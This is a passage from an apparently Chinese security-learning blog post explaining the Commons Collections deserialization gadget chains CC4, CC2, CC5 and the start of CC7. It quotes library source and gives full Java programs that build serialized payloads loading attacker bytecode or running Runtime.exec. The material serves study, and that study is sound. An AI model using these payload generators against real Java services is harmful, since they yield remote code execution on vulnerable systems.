class="hljs-built_in">this</span>.transformer.transform(obj2);<br> <span class="hljs-keyword">return</span> <span class="hljs-built_in">this</span>.decorated.compare(value1, value2);<br> }<br>}<br></code></pre></td></tr></table></figure><p>接着使用PriorityQueue的siftDownUsingComparator方法调用compare函数,恰好中PriorityQueue的readObject方法调用heapify再调用siftDown最后可以走到siftDownUsingComparator方法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">PriorityQueue</span><E> <span class="hljs-keyword">extends</span> <span class="hljs-title class_">AbstractQueue</span><E> <span class="hljs-keyword">implements</span> <span class="hljs-title class_">java</span>.io.Serializable {<br> <span class="hljs-keyword">public</span> <span class="hljs-title function_">PriorityQueue</span><span class="hljs-params">(Comparator<? <span class="hljs-built_in">super</span> E> comparator)</span> {<br> <span class="hljs-built_in">this</span>(DEFAULT_INITIAL_CAPACITY, comparator);<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-title function_">PriorityQueue</span><span class="hljs-params">(<span class="hljs-type">int</span> initialCapacity, Comparator<? <span class="hljs-built_in">super</span> E> comparator)</span> {<br> <span class="hljs-keyword">if</span> (initialCapacity < <span class="hljs-number">1</span>)<br> <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">IllegalArgumentException</span>();<br> <span class="hljs-built_in">this</span>.queue = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Object</span>[initialCapacity];<br> <span class="hljs-built_in">this</span>.comparator = comparator;<br> }<br> <span class="hljs-keyword">private</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">siftDown</span><span class="hljs-params">(<span class="hljs-type">int</span> k, E x)</span> {<br> <span class="hljs-keyword">if</span> (comparator != <span class="hljs-literal">null</span>)<br> siftDownUsingComparator(k, x);<br> <span class="hljs-keyword">else</span><br> siftDownComparable(k, x);<br> }<br> <span class="hljs-keyword">private</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">siftDownUsingComparator</span><span class="hljs-params">(<span class="hljs-type">int</span> k, E x)</span> {<br> <span class="hljs-type">int</span> <span class="hljs-variable">half</span> <span class="hljs-operator">=</span> size >>> <span class="hljs-number">1</span>;<br> <span class="hljs-keyword">while</span> (k < half) {<br> <span class="hljs-type">int</span> <span class="hljs-variable">child</span> <span class="hljs-operator">=</span> (k << <span class="hljs-number">1</span>) + <span class="hljs-number">1</span>;<br> <span class="hljs-type">Object</span> <span class="hljs-variable">c</span> <span class="hljs-operator">=</span> queue[child];<br> <span class="hljs-type">int</span> <span class="hljs-variable">right</span> <span class="hljs-operator">=</span> child + <span class="hljs-number">1</span>;<br> <span class="hljs-keyword">if</span> (right < size && comparator.compare((E) c, (E) queue[right]) > <span class="hljs-number">0</span>)<br> c = queue[child = right];<br> <span class="hljs-keyword">if</span> (comparator.compare(x, (E) c) <= <span class="hljs-number">0</span>)<br> <span class="hljs-keyword">break</span>;<br> queue[k] = c;<br> k = child;<br> }<br> queue[k] = x;<br> }<br> <span class="hljs-keyword">private</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">heapify</span><span class="hljs-params">()</span> {<br> <span class="hljs-keyword">for</span> (<span class="hljs-type">int</span> <span class="hljs-variable">i</span> <span class="hljs-operator">=</span> (size >>> <span class="hljs-number">1</span>) - <span class="hljs-number">1</span>; i >= <span class="hljs-number">0</span>; i--)<br> siftDown(i, (E) queue[i]);<br> }<br> <span class="hljs-keyword">private</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">readObject</span><span class="hljs-params">(java.io.ObjectInputStream s)</span> <span class="hljs-keyword">throws</span> ...Exception {<br> s.defaultReadObject();<br> s.readInt();<br> queue = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Object</span>[size];<br> <span class="hljs-keyword">for</span> (<span class="hljs-type">int</span> <span class="hljs-variable">i</span> <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; i < size; i++)<br> queue[i] = s.readObject();<br> heapify();<br> }<br></code></pre></td></tr></table></figure><p>进而写出CC4代码</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">CC4</span> {<br> <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> Exception{<br> <span class="hljs-type">TemplatesImpl</span> <span class="hljs-variable">templates</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">TemplatesImpl</span>();<br> Class<? <span class="hljs-keyword">extends</span> <span class="hljs-title class_">TemplatesImpl</span>> tc = templates.getClass();<br><br> <span class="hljs-type">Field</span> <span class="hljs-variable">nameField</span> <span class="hljs-operator">=</span> tc.getDeclaredField(<span class="hljs-string">"_name"</span>);<br> nameField.setAccessible(<span class="hljs-literal">true</span>);<br> nameField.set(templates, <span class="hljs-string">"foo"</span>);<br><br> <span class="hljs-type">Field</span> <span class="hljs-variable">bytecodesField</span> <span class="hljs-operator">=</span> tc.getDeclaredField(<span class="hljs-string">"_bytecodes"</span>);<br> bytecodesField.setAccessible(<span class="hljs-literal">true</span>);<br> <span class="hljs-type">byte</span>[] code = Files.readAllBytes(Paths.get(<span class="hljs-string">"hack.class"</span>));<br> <span class="hljs-type">byte</span>[][] codes = {code};<br> bytecodesField.set(templates, codes);<br><br> <span class="hljs-type">Field</span> <span class="hljs-variable">tfactoryField</span> <span class="hljs-operator">=</span> tc.getDeclaredField(<span class="hljs-string">"_tfactory"</span>);<br> tfactoryField.setAccessible(<span class="hljs-literal">true</span>);<br> tfactoryField.set(templates, <span class="hljs-keyword">new</span> <span class="hljs-title class_">TransformerFactoryImpl</span>());<br> Transformer[] transformers = {<br> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ConstantTransformer</span>(TrAXFilter.class),<br> <span class="hljs-keyword">new</span> <span class="hljs-title class_">InstantiateTransformer</span>(<span class="hljs-keyword">new</span> <span class="hljs-title class_">Class</span>[]{Templates.class}, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Object</span>[]{templates})<br> };<br> <span class="hljs-type">ChainedTransformer</span> <span class="hljs-variable">chainedTransformer</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ChainedTransformer</span><>(transformers);<br> <span class="hljs-type">TransformingComparator</span> <span class="hljs-variable">transformingComparator</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">TransformingComparator</span><>(<span class="hljs-keyword">new</span> <span class="hljs-title class_">ConstantTransformer</span><>(<span class="hljs-number">1</span>));<br> <span class="hljs-type">PriorityQueue</span> <span class="hljs-variable">priorityQueue</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">PriorityQueue</span><>(transformingComparator);<br> priorityQueue.add(<span class="hljs-number">1</span>);<br> priorityQueue.add(<span class="hljs-number">2</span>);<br> Class<? <span class="hljs-keyword">extends</span> <span class="hljs-title class_">TransformingComparator</span>> c = transformingComparator.getClass();<br> <span class="hljs-type">Field</span> <span class="hljs-variable">transformerField</span> <span class="hljs-operator">=</span> c.getDeclaredField(<span class="hljs-string">"transformer"</span>);<br> transformerField.setAccessible(<span class="hljs-literal">true</span>);<br> transformerField.set(transformingComparator, chainedTransformer);<br> serialize(priorityQueue);<br> deserialize(<span class="hljs-string">"hack.bin"</span>);<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> Object <span class="hljs-title function_">deserialize</span><span class="hljs-params">(String filename)</span> <span class="hljs-keyword">throws</span> IOException, ClassNotFoundException {<br> <span class="hljs-type">ObjectInputStream</span> <span class="hljs-variable">ois</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ObjectInputStream</span>(<span class="hljs-keyword">new</span> <span class="hljs-title class_">FileInputStream</span>(filename));<br> <span class="hljs-type">Object</span> <span class="hljs-variable">o</span> <span class="hljs-operator">=</span> ois.readObject();<br> <span class="hljs-keyword">return</span> o;<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">serialize</span><span class="hljs-params">(Object o)</span> <span class="hljs-keyword">throws</span> IOException {<br> <span class="hljs-type">FileOutputStream</span> <span class="hljs-variable">fileOutputStream</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">FileOutputStream</span>(<span class="hljs-string">"hack.bin"</span>);<br> <span class="hljs-type">ObjectOutputStream</span> <span class="hljs-variable">out</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ObjectOutputStream</span>(fileOutputStream);<br> out.writeObject(o);<br> out.close();<br> fileOutputStream.close();<br> }<br>}<br></code></pre></td></tr></table></figure><h3 id="CC2"><a href="#CC2" class="headerlink" title="CC2"></a>CC2</h3><p>和CC4比较相似,区别是舍去了ChainedTransformer和InstantiateTransformer,而采用InvokerTransformer直接对TemplatesImpl调用newTransformer(因为transform接收的参数可控)</p><p>这里直接给出代码</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">CC2</span> {<br> <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> Exception{<br> <span class="hljs-type">TemplatesImpl</span> <span class="hljs-variable">templates</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">TemplatesImpl</span>();<br> Class<? <span class="hljs-keyword">extends</span> <span class="hljs-title class_">TemplatesImpl</span>> tc = templates.getClass();<br><br> <span class="hljs-type">Field</span> <span class="hljs-variable">nameField</span> <span class="hljs-operator">=</span> tc.getDeclaredField(<span class="hljs-string">"_name"</span>);<br> nameField.setAccessible(<span class="hljs-literal">true</span>);<br> nameField.set(templates, <span class="hljs-string">"foo"</span>);<br><br> <span class="hljs-type">Field</span> <span class="hljs-variable">bytecodesField</span> <span class="hljs-operator">=</span> tc.getDeclaredField(<span class="hljs-string">"_bytecodes"</span>);<br> bytecodesField.setAccessible(<span class="hljs-literal">true</span>);<br> <span class="hljs-type">byte</span>[] code = Files.readAllBytes(Paths.get(<span class="hljs-string">"hack.class"</span>));<br> <span class="hljs-type">byte</span>[][] codes = {code};<br> bytecodesField.set(templates, codes);<br><br> <span class="hljs-type">Field</span> <span class="hljs-variable">tfactoryField</span> <span class="hljs-operator">=</span> tc.getDeclaredField(<span class="hljs-string">"_tfactory"</span>);<br> tfactoryField.setAccessible(<span class="hljs-literal">true</span>);<br> tfactoryField.set(templates, <span class="hljs-keyword">new</span> <span class="hljs-title class_">TransformerFactoryImpl</span>());<br><br> InvokerTransformer<Object, Object> invokerTransformer = <span class="hljs-keyword">new</span> <span class="hljs-title class_">InvokerTransformer</span><>(<span class="hljs-string">"newTransformer"</span>, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Class</span>[]{}, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Object</span>[]{});<br> <span class="hljs-type">TransformingComparator</span> <span class="hljs-variable">transformingComparator</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">TransformingComparator</span><>(<span class="hljs-keyword">new</span> <span class="hljs-title class_">ConstantTransformer</span><>(<span class="hljs-number">1</span>));<br> <span class="hljs-type">PriorityQueue</span> <span class="hljs-variable">priorityQueue</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">PriorityQueue</span><>(transformingComparator);<br> priorityQueue.add(templates);<br> priorityQueue.add(<span class="hljs-number">2</span>);<br> Class<? <span class="hljs-keyword">extends</span> <span class="hljs-title class_">TransformingComparator</span>> c = transformingComparator.getClass();<br> <span class="hljs-type">Field</span> <span class="hljs-variable">transformerField</span> <span class="hljs-operator">=</span> c.getDeclaredField(<span class="hljs-string">"transformer"</span>);<br> transformerField.setAccessible(<span class="hljs-literal">true</span>);<br> transformerField.set(transformingComparator, invokerTransformer);<br> serialize(priorityQueue);<br> deserialize(<span class="hljs-string">"hack.bin"</span>);<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> Object <span class="hljs-title function_">deserialize</span><span class="hljs-params">(String filename)</span> <span class="hljs-keyword">throws</span> IOException, ClassNotFoundException {<br> <span class="hljs-type">ObjectInputStream</span> <span class="hljs-variable">ois</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ObjectInputStream</span>(<span class="hljs-keyword">new</span> <span class="hljs-title class_">FileInputStream</span>(filename));<br> <span class="hljs-type">Object</span> <span class="hljs-variable">o</span> <span class="hljs-operator">=</span> ois.readObject();<br> <span class="hljs-keyword">return</span> o;<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">serialize</span><span class="hljs-params">(Object o)</span> <span class="hljs-keyword">throws</span> IOException {<br> <span class="hljs-type">FileOutputStream</span> <span class="hljs-variable">fileOutputStream</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">FileOutputStream</span>(<span class="hljs-string">"hack.bin"</span>);<br> <span class="hljs-type">ObjectOutputStream</span> <span class="hljs-variable">out</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ObjectOutputStream</span>(fileOutputStream);<br> out.writeObject(o);<br> out.close();<br> fileOutputStream.close();<br> }<br>}<br></code></pre></td></tr></table></figure><h3 id="CC5"><a href="#CC5" class="headerlink" title="CC5"></a>CC5</h3><p>cc5和cc7链又回到了Commons Collections<=3.2.1的范围</p><p>CC5和CC1、CC3的区别是不再借助 AnnotationInvocationHandler 的反序列化触发而是通过TiedMapEntry的toString方法调用LazyMap的get方法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">TiedMapEntry</span> <span class="hljs-keyword">implements</span> <span class="hljs-title class_">Map</span>.Entry, KeyValue, Serializable {<br> <span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> Map map;<br> <span class="hljs-keyword">public</span> Object <span class="hljs-title function_">getValue</span><span class="hljs-params">()</span> {<br> <span class="hljs-keyword">return</span> map.get(key);<br> }<br> <span class="hljs-keyword">public</span> String <span class="hljs-title function_">toString</span><span class="hljs-params">()</span> {<br> <span class="hljs-keyword">return</span> getKey() + <span class="hljs-string">"="</span> + getValue();<br> }<br></code></pre></td></tr></table></figure><p>接着通过BadAttributeValueExpException类的readObject方法调用TiedMapEntry的toString方法完成调用</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">BadAttributeValueExpException</span> <span class="hljs-keyword">extends</span> <span class="hljs-title class_">Exception</span> {<br> <span class="hljs-keyword">private</span> Object val;<br> <span class="hljs-keyword">public</span> <span class="hljs-title function_">BadAttributeValueExpException</span> <span class="hljs-params">(Object val)</span> {<br> <span class="hljs-built_in">this</span>.val = val == <span class="hljs-literal">null</span> ? <span class="hljs-literal">null</span> : val.toString();<br> }<br> <span class="hljs-keyword">private</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">readObject</span><span class="hljs-params">(ObjectInputStream ois)</span> <span class="hljs-keyword">throws</span> IOException, ClassNotFoundException {<br> ObjectInputStream.<span class="hljs-type">GetField</span> <span class="hljs-variable">gf</span> <span class="hljs-operator">=</span> ois.readFields();<br> <span class="hljs-type">Object</span> <span class="hljs-variable">valObj</span> <span class="hljs-operator">=</span> gf.get(<span class="hljs-string">"val"</span>, <span class="hljs-literal">null</span>);<br><br> <span class="hljs-keyword">if</span> (valObj == <span class="hljs-literal">null</span>) {<br> val = <span class="hljs-literal">null</span>;<br> } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (valObj <span class="hljs-keyword">instanceof</span> String) {<br> val= valObj;<br> } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (System.getSecurityManager() == <span class="hljs-literal">null</span><br> || valObj <span class="hljs-keyword">instanceof</span> Long<br> || valObj <span class="hljs-keyword">instanceof</span> Integer<br> || valObj <span class="hljs-keyword">instanceof</span> Float<br> || valObj <span class="hljs-keyword">instanceof</span> Double<br> || valObj <span class="hljs-keyword">instanceof</span> Byte<br> || valObj <span class="hljs-keyword">instanceof</span> Short<br> || valObj <span class="hljs-keyword">instanceof</span> Boolean) {<br> val = valObj.toString();<br> } <span class="hljs-keyword">else</span> {<br> val = System.identityHashCode(valObj) + <span class="hljs-string">"@"</span> + valObj.getClass().getName();<br> }<br> }<br>}<br></code></pre></td></tr></table></figure><p>最终实现代码:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">CC5</span> {<br> <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> Throwable {<br> Transformer[] transformers = {<br> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ConstantTransformer</span>(Runtime.class),<br> <span class="hljs-keyword">new</span> <span class="hljs-title class_">InvokerTransformer</span>(<span class="hljs-string">"getMethod"</span>, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Class</span>[]{String.class, Class[].class}, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Object</span>[]{<span class="hljs-string">"getRuntime"</span>,<span class="hljs-literal">null</span>}),<br> <span class="hljs-keyword">new</span> <span class="hljs-title class_">InvokerTransformer</span>(<span class="hljs-string">"invoke"</span>, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Class</span>[]{Object.class, Object[].class}, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Object</span>[]{<span class="hljs-literal">null</span>, <span class="hljs-literal">null</span>}),<br> <span class="hljs-keyword">new</span> <span class="hljs-title class_">InvokerTransformer</span>(<span class="hljs-string">"exec"</span>, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Class</span>[]{String.class}, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Object</span>[]{<span class="hljs-string">"calc"</span>})<br> };<br> <span class="hljs-type">ChainedTransformer</span> <span class="hljs-variable">chainedTransformer</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ChainedTransformer</span>(transformers);<br> HashMap<Object, Object> map = <span class="hljs-keyword">new</span> <span class="hljs-title class_">HashMap</span><>();<br> <span class="hljs-type">Map</span> <span class="hljs-variable">lazyMap</span> <span class="hljs-operator">=</span> LazyMap.decorate(map,chainedTransformer);<br> <span class="hljs-type">TiedMapEntry</span> <span class="hljs-variable">tiedMapEntry</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">TiedMapEntry</span>(lazyMap, <span class="hljs-string">"aaa"</span>);<br><br> <span class="hljs-type">BadAttributeValueExpException</span> <span class="hljs-variable">badAttributeValueExpException</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">BadAttributeValueExpException</span>(<span class="hljs-literal">null</span>);<br> <span class="hljs-type">Field</span> <span class="hljs-variable">val</span> <span class="hljs-operator">=</span> badAttributeValueExpException.getClass().getDeclaredField(<span class="hljs-string">"val"</span>);<br> val.setAccessible(<span class="hljs-literal">true</span>);<br> val.set(badAttributeValueExpException, tiedMapEntry);<br><br> serialize(badAttributeValueExpException);<br> deserialize(<span class="hljs-string">"hack.bin"</span>);<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> Object <span class="hljs-title function_">deserialize</span><span class="hljs-params">(String filename)</span> <span class="hljs-keyword">throws</span> IOException, ClassNotFoundException {<br> <span class="hljs-type">ObjectInputStream</span> <span class="hljs-variable">ois</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ObjectInputStream</span>(<span class="hljs-keyword">new</span> <span class="hljs-title class_">FileInputStream</span>(filename));<br> <span class="hljs-type">Object</span> <span class="hljs-variable">o</span> <span class="hljs-operator">=</span> ois.readObject();<br> <span class="hljs-keyword">return</span> o;<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">serialize</span><span class="hljs-params">(Object o)</span> <span class="hljs-keyword">throws</span> IOException {<br> <span class="hljs-type">FileOutputStream</span> <span class="hljs-variable">fileOutputStream</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">FileOutputStream</span>(<span class="hljs-string">"hack.bin"</span>);<br> <span class="hljs-type">ObjectOutputStream</span> <span class="hljs-variable">out</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ObjectOutputStream</span>(fileOutputStream);<br> out.writeObject(o);<br> out.close();<br> fileOutputStream.close();<br> }<br>}<br></code></pre></td></tr></table></figure><h3 id="CC7"><a href="#CC7" class="headerlink" title="CC7"></a>CC7</h3><p>CC7链后半段与CC1、CC5相似,区别是通过AbstractMap的equals方法来调用LazyMap的get,再用Hashtable的reconstitutionPut方法调用equals,Hashtable关键代码如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">Hashtable</span><K,V> <span class="hljs-keyword">extends</span> <span class="hljs-title class_">Dictionary</span><K,V> <span class="hljs-keyword">implements</span> <span class="hljs-title class_">Map</span><K,V>, Cloneable, java.io.Serializable {<br> <span class="hljs-keyword">private</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">readObject</span><span class="hljs-params">(java.io.ObjectInputStream s)</span> <span class="hljs-keyword">throws</span> IOException, ClassNotFoundException {<br> s.defaultReadObject();<br> <span class="hljs-type">int</span> <span class="hljs-variable">origlength</span> <span class="hljs-operator">=</span> s.readInt();<br> <span class="hljs-type">int</span> <span class="hljs-variable">elements</span> <span class="hljs-operator">=</span> s.readInt();<br> <span class="hljs-type">int</span> <span class="hljs-variable">length</span> <span class="hljs-operator">=</span> (<span class="hljs-type">int</span>)(elements * loadFactor) + (elements / <span class="hljs-number">20</span>) + <span class="hljs-number">3</span>;<br> <span class="hljs-keyword">if</span> (length > elements && (length & <span class="hljs-number">1</span>) == <span class="hljs-number">0</span>)<br> length--;<br> <span class="hljs-keyword">if</span> (origlength > <span class="hljs-number">0</span> && length > origlength)<br> length = origlength;<br> table = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Entry</span><?,?>[length];<br> threshold = (<span class="hljs-type">int</span>)Math.min(length * loadFactor, MAX_ARRAY_SIZE + <span class="hljs-number">1</span>);<br> count = <span class="hljs-number">0</span>;<br> <span class="hljs-keyword">for</span> (; elements > <span class="hljs-number">0</span>; elements--) {<br> <span class="hljs-type">K</span> <span class="hljs-variable">key</span> <span class="hljs-operator">=</span> (K)s.readObject();<br> <span class="hljs-type">V</span> <span class="hljs-variable">value</span> <span class="hljs-operator">=</span> (V)s.readObject();<br> reconstitutionPut(table, key, value);<br> }<br> }<br> <span class="hljs-keyword">private</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">reconstitutionPut</span><span class="hljs-params">(Entry<?,?>[] tab, K key, V value)</span> <span class="hljs-keyword">throws</span> StreamCorruptedException {<br> <span class="hljs-keyword">if</span> (value == <span class="hljs-literal">null</span>) {<br> <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">java</span>.io.StreamCorruptedException();<br> }<br> <span class="hljs-type">int</span> <span class="hljs-variable">hash</span> <span class="hljs-operator">=</span> key.hashCode();<br> <span class="hljs-type">int</span> <span class="hljs-variable">index</span> <span class="hljs-operator">=</span> (hash & <span class="hljs-number">0x7FFFFFFF</span>) % tab.length;<br> <span class="hljs-keyword">for</span> (Entry<?,?> e = tab[index] ; e != <span class="hljs-literal">null</span> ; e = e.next) {<br> <span class="hljs-keyword">if</span> ((e.hash == hash) && 